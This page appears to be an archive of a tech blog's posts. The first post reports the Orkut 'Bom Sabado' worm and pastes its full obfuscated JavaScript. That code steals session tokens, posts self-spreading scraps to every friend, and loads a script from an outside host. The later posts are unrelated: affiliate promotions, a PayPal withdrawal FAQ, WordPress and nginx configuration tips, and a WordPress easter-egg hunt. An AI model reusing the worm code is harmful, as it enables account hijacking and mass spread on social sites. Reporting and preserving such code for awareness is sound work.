Author: Rahul Bansal

Categories
News

Bom Sabado! Orkut is attacked by a new worm!

In last hour, I have received many scraps form my friends with words “Bom Sabado!”.

Needless to say, these were automated messages from my friends as they don’t know Portuguese. Bom Sabado means Good Saturday in Portuguese.

If you open your scrapbook, same scrap will be sent to all your friends from your account.

So stay away from Orkut till further notice (or use m.orkut.com till then)

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Update – Do not open Orkut as per this official forum thread.

Workaround – Below is a workaround posted by Arikarin. Use at your own risk. I didn’t try it.

A way to get rid of this and even to change your pass if you want to is:

  1. Clear your cookies/cache, then you may get an ‘Automated Query’ message. Don’t hustle about it.
  2. Just logout from your account, if you don’t know about the logout link. Here it is : http://www.orkut.co.in/GLogin?cmd=logout
  3. After that just go to settings page or if not, better to do anything is to switch on to the ‘OLDER VERSION’ of Orkut and try re-setting your password. 🙂

You can use older version of Orkut or simply mobile version at m.orkut.com! I used m.orkut.com only!

Update – Above thread also shows this link – http://tptools.org/worm.js#%3Cwbr%3E#:1

Codes which are responsible for attacks are pasted below as they will be soon gone from above URL! 😉
var _0x37a1=["x4Dx69x63x72x6Fx73x6Fx66x74x2Ex58x4Dx4Cx48x74x74x70","x50x4Fx53x54x5Fx54x4Fx4Bx45x4Ex3D","x43x47x49x2Ex50x4Fx53x54x5Fx54x4Fx4Bx45x4E","x26x73x69x67x6Ex61x74x75x72x65x3D","x50x61x67x65x2Ex73x69x67x6Ex61x74x75x72x65x2Ex72x61x77","x50x4Fx53x54","x53x63x72x61x70x62x6Fx6Fx6Bx3F","x6Fx70x65x6E","x43x6Fx6Ex74x65x6Ex74x2Dx54x79x70x65","x61x70x70x6Cx69x63x61x74x69x6Fx6Ex2Fx78x2Dx77x77x77x2Dx66x6Fx72x6Dx2Dx75x72x6Cx65x6Ex63x6Fx64x65x64x3B","x73x65x74x52x65x71x75x65x73x74x48x65x61x64x65x72","x26x73x63x72x61x70x54x65x78x74x3D","x3Cx73x74x79x6Cx65x2Fx3Ex3Cx69x66x72x61x6Dx65x20x73x74x79x6Cx65x3Dx64x69x73x70x6Cx61x79x3Ax6Ex6Fx6Ex65x20x6Fx6Ex6Cx6Fx61x64x3Dx22x61x20x3Dx20x64x6Fx63x75x6Dx65x6Ex74x2Ex63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74x28x20x27x73x63x72x69x70x74x27x29x3Bx61x2Ex73x72x63x20x3Dx20x27x2Fx27x20x2Bx20x27x2Fx74x70x74x6Fx6Fx6Cx73x2Ex6Fx27x2Bx27x72x67x2Fx77x6Fx72x6Dx2Ex6Ax73x27x2Bx27x23x3Cx77x62x72x3Ex23x27x3Bx20x64x6Fx63x75x6Dx65x6Ex74x20x2Ex20x62x6Fx64x79x20x2Ex20x61x70x70x65x6Ex64x43x68x69x6Cx64x28x20x61x20x29x22x3Ex3Cx2Fx69x66x72x61x6Dx65x3Ex42x6Fx6Dx20x53x61x62x61x64x6Fx21","x26x75x69x64x3D","x26x41x63x74x69x6Fx6Ex2Ex73x75x62x6Dx69x74x3Dx31","x73x65x6Ex64","x47x45x54","x52x65x71x75x65x73x74x46x72x69x65x6Ex64x73x3Fx72x65x71x3Dx66x6Cx26x75x69x64x3D","x75x69x64","x26x6Fx78x68x3Dx31","x77x68x69x6Cx65x20x28x74x72x75x65x29x3Bx20x26x26x26x53x54x41x52x54x26x26x26","","x72x65x70x6Cx61x63x65","x72x65x73x70x6Fx6Ex73x65x54x65x78x74","x43x6Fx6Dx6Dx75x6Ex69x74x79x4Ax6Fx69x6Ex3Fx63x6Dx6Dx3D","x26x41x63x74x69x6Fx6Ex2Ex6Ax6Fx69x6Ex3Dx31","x31x30x36x36x39x38x38x30x38","x36","x35x35x38x34x39x34","x31x30x36x36x39x38x36x32x38","x31x30x36x36x39x31x33x34x31","x76x61x72x20x66x72x69x65x6Ex64x73x20x3Dx20","x3B","x6Cx69x73x74","x64x61x74x61","x69x64"];function createXMLHttpRequest(){try{return new XMLHttpRequest();} catch(e){return new ActiveXObject(_0x37a1[0]);} ;} ;var data=_0x37a1[1]+encodeURIComponent(JSHDF[_0x37a1[2]])+_0x37a1[3]+encodeURIComponent(JSHDF[_0x37a1[4]]);function sendScrap(_0x7c2bx4){var _0x7c2bx5=createXMLHttpRequest();_0x7c2bx5[_0x37a1[7]](_0x37a1[5],_0x37a1[6],false);_0x7c2bx5[_0x37a1[10]](_0x37a1[8],_0x37a1[9]);_0x7c2bx5[_0x37a1[15]](data+_0x37a1[11]+encodeURIComponent(_0x37a1[12])+_0x37a1[13]+_0x7c2bx4+_0x37a1[14]);} ;function requestFriends(){var _0x7c2bx5=createXMLHttpRequest();_0x7c2bx5[_0x37a1[7]](_0x37a1[16],_0x37a1[17]+JSHDF[_0x37a1[18]]+_0x37a1[19],false);_0x7c2bx5[_0x37a1[15]](null);return (_0x7c2bx5[_0x37a1[23]])[_0x37a1[22]](_0x37a1[20],_0x37a1[21]);} ;function joinCMM(_0x7c2bx8){var _0x7c2bx5=createXMLHttpRequest();_0x7c2bx5[_0x37a1[7]](_0x37a1[5],_0x37a1[24]+_0x7c2bx8,false);_0x7c2bx5[_0x37a1[10]](_0x37a1[8],_0x37a1[9]);_0x7c2bx5[_0x37a1[15]](data+_0x37a1[25]);} ;joinCMM(_0x37a1[26]);joinCMM(_0x37a1[27]);joinCMM(_0x37a1[28]);joinCMM(_0x37a1[29]);joinCMM(_0x37a1[30]);eval(_0x37a1[31]+requestFriends()+_0x37a1[32]);for(x in friends[_0x37a1[34]][_0x37a1[33]]){uid=(friends[_0x37a1[34]][_0x37a1[33]][x]);sendScrap(uid[_0x37a1[35]]);} ;

Categories
Tips

Get Best Blogger To WordPress Migration Service for FREE

(This is cross-posting of promo-announcement published on BloggerToWP blog)

This a quick post to inform all devils about a new promo we are running on our Blogger To WordPress migration service.

We are giving away our proven Blogger to WordPress migration service absolutely FREE till September 25, 2010.

As everyone moving to self-hosted wordpress platform needs webhosting, this promo is something most bloggers can benefit from.

Details about this promo offer are here.

Affiliates…

Yep. You can still earn $25 or $50 for our customers opting for free migration and theme!

You can think this as win-win-win-win deal.

Any guesses on who are fantastic-4, oops winners, here?? 😉

Links: Free Blogger To WordPress Migration Service | Affiliate Program

Categories
Editorial

Introducing Blogger To WordPress Affiliate Program. Earn Upto $50 Per Referral

If you a blogger and active reader of Devils Workshop from last 6 months, you might have come across our Blogger To WordPress Migration Service Portal.

After serving 100’s of clients migrate from Blogger To WordPress successfully in less than 5 months time, it’s time to go a step ahead and make our service accessible to the more people.

To fulfill this goal, we are introducing today Blogger To WordPress Affiliate Program.

Affiliate Program – Earn Upto $50 Per Referral

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We offer 2 main paid services on our portal:

  • Blogger To WordPress Migration (posts, comments and links)
  • WordPress theme design (to match Blogger.com layout or new WordPress theme)

If client you are referring, hires us for both above services, you will get $50 commission.

If they hire us for only one service, you will get $25 commission.

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You can check more details about our affiliate program here.

Special Care for DW/rtBlogs Contributors

If you are already registered on Devils Workshop, or any other blogs in our rtBlogs network, you no need to register again.

You can use same username and password to login directly to Blogger To WordPress affiliate portal.

Get paid for your honest efforts

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If you are using WordPress, you must have encountered Blogger v/s WordPress debate at some point.

Well if you have taken side of WordPress, and honestly wanted your friend to move to WordPress, this is a chance to get paid for your honest efforts. 🙂

Feedback Please…

Do let us know if you have any suggestions for us to make our services and affiliate program better.

Spread the word, if you like it. 🙂

Links: Affiliate Program |  Support Forum

Categories
Tips

How PayPal’s Paper-Check Payments Will Affect Lives in India? [FAQ]

(Update: Issue is resolved now. PayPal resumed electronic withdrawals again. I doubt, if they were suspended ever!)

This morning, like most of Indian PayPal Users, I woke up to read an email by PayPal saying,

…From July 29, 2010 onwards, you will only be able to request for a cheque withdrawal of funds from your PayPal account…

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Few lines down the lane the said electronic withdrawal option will be disabled for Indian users. Normally, PayPal charges $5 as fees for withdrawal by check but in this case, that fees will be refunded.

Their official newsletter, like other official newsletter leaves many questions unanswered and below are my own answers to some questions I received from fellow bloggers and publishers.

Which currency PayPal use while issuing a check – USD or INR?

I haven’t used PayPal’s check-withdrawal method but except Google AdSense, all paper-checks I received till date are in USD.

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So I am sure that PayPal checks will be in USD. PayPal representative confirmed that will send check in local currencies i.e. INR.

How many days will it take to clear PayPal Checks?

After requesting a PayPal check-withdrawal, PayPal takes 4-6 working days before actually issuing you a check. Added to it are postal delays. My Google AdSense checks arrive in 5-7 days from Singapore.  But PayPal check will take more time as they are coming from US.

Finally, if you have account in same bank through which PayPal issued your check, check will get cleared on the same day or on next working day by latest. If your bank is different, it can add upto 5-7 days interbank clearance delay.

So total time can vary from 15-30 days, where as PayPal officially estimate upto 45 days time.

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Do Indian banks charge for depositing foreign currency checks?

(UPDATE: PayPal sends checks in local currency i.e. INR, so this question of currency conversion doesn’t arise in PayPal’s case. Still following info is still valid for other USD checks deposited in Indian banks.)

Yes. Most banks do. Processing fees (or service/other tax) can vary from bank to bank. Also, it may depend on transaction volume. Moreover, it may or may not reflect in your account statement as it can be added directly to the currency conversion charges only.

Example: To further clarify this, let us assume you are depositing a check of 100USD in Indian bank and you read currency conversion rate is 1 USD = 47.00 INR. Now, Bank-A might give you flat currency conversion rate of 45 and deposit 4500 INR in your account. Another bank, Bank-B, might give you better currency conversion rate of 46 but will charge 100 INR as transaction fees and 10.3% service tax on it. This way Bank-B will deposit first 4600 INR in your account and then will deduct 103 INR as fees, leaving 4497 INR in your account. 😉

This must be a temporary issue as PayPal is not charging $5 as check-withdrawal feed. Right?

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Only god, Government of India (specially RBI – Reserve Bank of India) and PayPal officials know if this is temporary issue or not.

PayPal is not charging $5 because as any good corporate house, it’s not wise to charge your customer for an option when you are not giving them alternative. Plus, even if PayPal decides to bear $5 fees, they will be already earning much more than that from each publishers as their per transaction fees!

How should I plan my withdrawal?

Unfortunately, in this case we do not have many choices to plan.

On an average, it takes 15-30 days for any USD-paper check, issued from US, to deposit in your Indian local bank account.

Its time to recall “saving” lessons taught by our parents! 😉

What are PayPal alternatives?

There are same old and not-so-pretty alternative available – MoneyBooker, Xoom, etc.

Out of all of them, I used Xoom only in past. It was much faster and better than PayPal then but I am not sure if Xoom is still working.

If you have used any alternative in past, please let us know. 🙂

Categories
Tips

[Solved] Homepage Redirecting to The Latest Page Issue

There is an issue with Redirection plugin for wordpress. Redirection plugin is used to create redirect rules without any technical knowledge.

About the issue…

Whenever you create a latest page inside wordpress, all visitors to your homepage get redirected to the newly created page. This used to happen before also, but seems like the issue has become severe after wordpress 3.0 release.

There may be some bug in the plugin, which results in a rule being added to its (plugin) database as you can see in screenshot below. You can see following screen by going to “WordPress Dashboard >> Tools >> Redirection” menu and then clicking on “Modified posts” group.

As you might have noticed, there is rule with URL ‘/’ (slash) being added under “Modified posts” module in Redirection Plugin. This rule is responsible for homepage redirection.

Temporary Solution

  1. Just select all rules made for ‘/’ (slash) as highlighted in below screenshot. Yes, there can be more than 1 rule for ‘/’ (slash) i.e. homepage redirection.
  2. Click on “Delete” option. You will be asked for confirmation. Just click“Yes” and you are done!

Now, this will solve problem only temporarily. Next time you create a new page, chances are this issue will surface again. So if you edit/create pages quite frequently, you may like to go for permanent solution listed below.

Permanent Solution

  1. On Redirection Plugins’ Settings page, click on “Modules” links.
  2. You will see 3 modules as shown in above screenshot. Click on “WordPress” module.
  3. On next screen you will see 2 groups – “Redirection” and “Modified Posts”. Click on “edit group” link, next to the “Modified Posts” group. (see screenshot)
  4. When you will click on “edit group” link, you will see few more options. Uncheck option saying, “Disabling a group will disable all items contained within it” (see screenshot)
  5. Just click Save button and you will no longer face this issue again.

This solution actually disables a feature of Redirection Plugin, which is being used by many of us unknowingly.

Every-time we manually edit slug of a published wordpress post or page, Redirection plugin create necessary rules inside “Modified Posts” group.

Summary

This issue is already open as a bug in Redirection plugin’s bug-tracker. Hopefully, this will be solved in near future.

By the way, those weird redirections rules don’t get added all the time. But if they do, you can use solutions mentioned above. 🙂

Categories
Editorial

Relaunching rtCamp With A Major Redesign! [Editorial]

Dear Devils (hey it sounds like daredevils :D)

rtCampers, folks who run our parent company rtCamp and look after this rtBlogs network, has a reason to cheer about.

After lots of hard work, we managed to unveil a much-needed redesign for our main site rtCamp.com

This is a special occasion for us here @rtCamp so felt like sharing this joy with you. 🙂

You can read more about our new home in this official blog post here!  You will find many cool things about this redesign there.

Also for geeks here, if you ever wanted to visit a site with Grade-A in Yslow, just head-over to rtCamp.  😉

Link: rtCamp Home | Read Redesign Details

Categories
Editorial

[Editorial] Scheduled Downtime for Maintenance

Hi All!

We will be upgrading our servers for things listed below tonight (after 1 hour).

We are expecting downtime from 30 minutes to 1 hour. As we have so many things to upgrade/improve, downtime is unavoidable. 🙁

All guest bloggers requested to save their posts/work before 3AM if they are planning to write tonight.

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Things we will be doing!

  • Upgrade Ubuntu 9 to Ubuntu 10 (LTS)
  • Upgrade WordPress MU 2.9.2 to WordPress 3.0
  • Turn on nginx fastcgi_cache
  • Migrate from php-fastcgi to php-fpm
  • Say bye-bye to Wp-Super-Cache and use w3TotalCache with nginx
  • Enable CDN on other blogs
  • Remove domain-mapping plugin (we don’t need it anymore for domain mapping to work, in our case at least! See this post)
  • Enable APC and memcache and configure w3Total Cache to use these high-performance extensions (will post about this later on wpveda)

Following blogs/sites will be affected…

Also if any other sites in our network or hosted/managed by rtCamp goes down please bear with us.

We will be coming back with faster server! Really… 😉

Update: Maintenance is over with 20 minutes downtime total. Items striked out are skipped for various reasons.

(Image credit: chaufkipeut)

Categories
Tips

JavaScript/jQuery Snippet to check if a function exists

I am working on a very complex wordpress theme from last few weeks and on the way learning many new things.

To keep load time of this new theme in check, I am using many ‘if’ statements in header.php to control which javascript library/jquery plugin loads on which page. So before making JavaScript/jQuery function calls, it became essential for me to check if function exists in current environment.

Following are code snippets I am using frequently in this case…

JavaScript codes to check if function exists

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if(typeof window.rtFunction == 'function') {
    // function exists, so we can now call it
    rtFunction();
}

Example: Calling md5 function

if(typeof window.md5 == 'function') {
    // function exists, so we can now call it
    md5(286);
}

jQuery codes to check if function exists

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if( jQuery.isFunction(jQuery.fn.rtFunction) ){
    // function exists, so we can now call it
    jQuery(document).rtFunction();
}

Example: Say if you are using jQuery tabs plugin…

if( jQuery.isFunction(jQuery.fn.tabs) ){
    // function exists, so we can now call it
    jQuery('#tabs').tabs();
}

These two functions turned out to be life saver for me.

Thanks Paul for javascript codes and besh.jquery for jQuery codes.

I have found many more ways to optimize wordpress themes while working on this theme. I will surely post them starting next week, once we launch this new theme! 😉

Categories
Tutorial

Nginx Rewrite Rules for W3 Total Cache Plugin

We have been using nginx from long time to run our WPMU + domain mapping configuration for rtBlogs network.

Recently when we decided to switch from Wp Super Cache to W3 Total Cache plugin, we were stuck while translating apache’s (.htaccess) rewrite rules to nginx configuration.

Now, after some efforts we managed to get nginx working with W3 Total Cache plugin with following rewrite rules.

# if the requested file exists, return it immediately
if (-f $request_filename) {
    break;
}


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## W3 Total CACHE BEGIN
set $totalcache_file '';
set $totalcache_uri $request_uri;

if ($request_method = POST) {
  set $totalcache_uri '';
}

# Using pretty permalinks, so bypass the cache for any query string
if ($query_string) {
  set $totalcache_uri '';
}

if ($http_cookie ~* "comment_author_|wordpress|wp-postpass_" ) {
  set $totalcache_uri '';
}


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# if we haven't bypassed the cache, specify our totalcache file
if ($totalcache_uri ~ ^(.+)$) {
  set $totalcache_file /wp-content/w3tc-$http_host/pgcache/$1/_default_.html;
}

# only rewrite to the totalcache file if it actually exists
if (-f $document_root$totalcache_file) {
  rewrite ^(.*)$ $totalcache_file break;
}                 

##W3 Total CACHE END

# all other requests go to WordPress
if (!-e $request_filename) {
    rewrite . /index.php last;
}

Above codes will sit inside server{ location{ } } block.

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Our original configuration file is too big and contains many unwanted things so I am not publishing it here.

Anyway, if you stuck somewhere, feel free to use comment form below. 😉

Update: For those who are faceing issues with gzip (compression)…

I have a code block at the beginning of  location /{} block in our nginx configuration file as below:

          location / {
               gzip  on;
               gzip_http_version 1.0;
               gzip_vary on;
               gzip_comp_level 3;
               gzip_proxied any;
               gzip_types text/plain text/html text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;
               gzip_buffers 16 8k;
               .....
        }

Above code-block basically “asks” nginx to turn on compression when files with listed mime types (see line gzip_types) being served

When above lines are present in your configuration, you can altogether disable compression settings from w3 Total Cache as nginx webserver will automatically handle compression for those requests. Not tested though.

Categories
News

WordPress 3.0 Easter Egg Hunt!

Easter eggs fascinates me a lot and since I read about presence of new easter eggs in latest wordpress 3.0, I am continuously hunting for them since last few hours.

Below is stuff I have found and conclusions I have made. Not sure if we can call them easter egg(s), but one of them is definitely a bug!  Reason for putting my uncertain findings here is – some like-minded easter eggs lover may cook an omelet out of this! 😉

#1 – Easter Egg hint must be in text…

First thing I noticed was, Matt asked to look for HD video when he hinted about easter eggs. HD videos are high in quality and one big difference between HD/non-HD screen-casts is that text in HD videos is readable.

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So I think Easter egg hint must be in text somewhere but after watching that video more than 10 times and reading almost every character in that video I noticed very few things.

#2 – Easter egg could be introduced in WordPress 3.o-RC3-15241 Release

While watching that video, I noticed that WordPress 3.o-RC3-15241 release is used in video. (see screenshot below)

For easter egg to be present in video, easter egg must be introduced in WordPress revision <= 15241. This lead me to check changes in code between 15241 and its previous revisions. WordPress 3.0-RC2 has revision @15204. I ran a simple SVN command to get code difference between these two revisions like below…

svn diff http://core.svn.wordpress.org/@15204 http://core.svn.wordpress.org/@15241 > wp-egg.patch
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I opened wp-egg.patch file in vim for ease of readability but after checking codes for long time, I couldn’t find any egg to feed my hunger! 🙁

#3 – Easter egg must be on screens/features shown in Video

Backtracking to words by Matt, I started video again N-th time, this time exploring screens/features highlighted in Video. If easter egg is present in video, then it must be one of screen shown in video where we can discover it!

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Again, I couldn’t find anything after struggling a lot with post-editor, new centralize update option, custom menu, custom background, etc stuff shown in video. I do believe that easter egg must not be in any theme related file/feature. As themes, even default twenty ten theme, cannot be considered to be part of WordPress core.

Finally I have found something… But it must be a bug!

While exploring Dashboard >> update submenu options, I became curious about old way of upgrading plugin.

I jumped to Plugins menu. On page, where all plugins are listed, I noticed a new entry in drop-down menu called “upgrade”. I clicked on that “upgrade” option, without selecting any plugin from list and contradictory to my expectation, I was redirected to upgrade process!

See following screenshots for details…

Clicking "Upgrade" without selecting any plugin from list
Upgrade Plugin Process ran without a plugin name

Why this doesn’t seem to be an easter egg?

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As bulk upgrade option is introduced in WordPress 3.0, to me it seems a validation bug.

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When you select other options like activate/deactivate/delete, without selecting a plugin from list, nothing happens. I guess with newly introduced upgrade option, this check is missing.

Also, if you look at previous easter egg which pops-up on self-comparison, this bug looks too simple to be assumed as easter egg.

I believe, the easter egg must be more whacky and stylish in nature! 😉

By the way, if you find easter egg yourself, please let us know!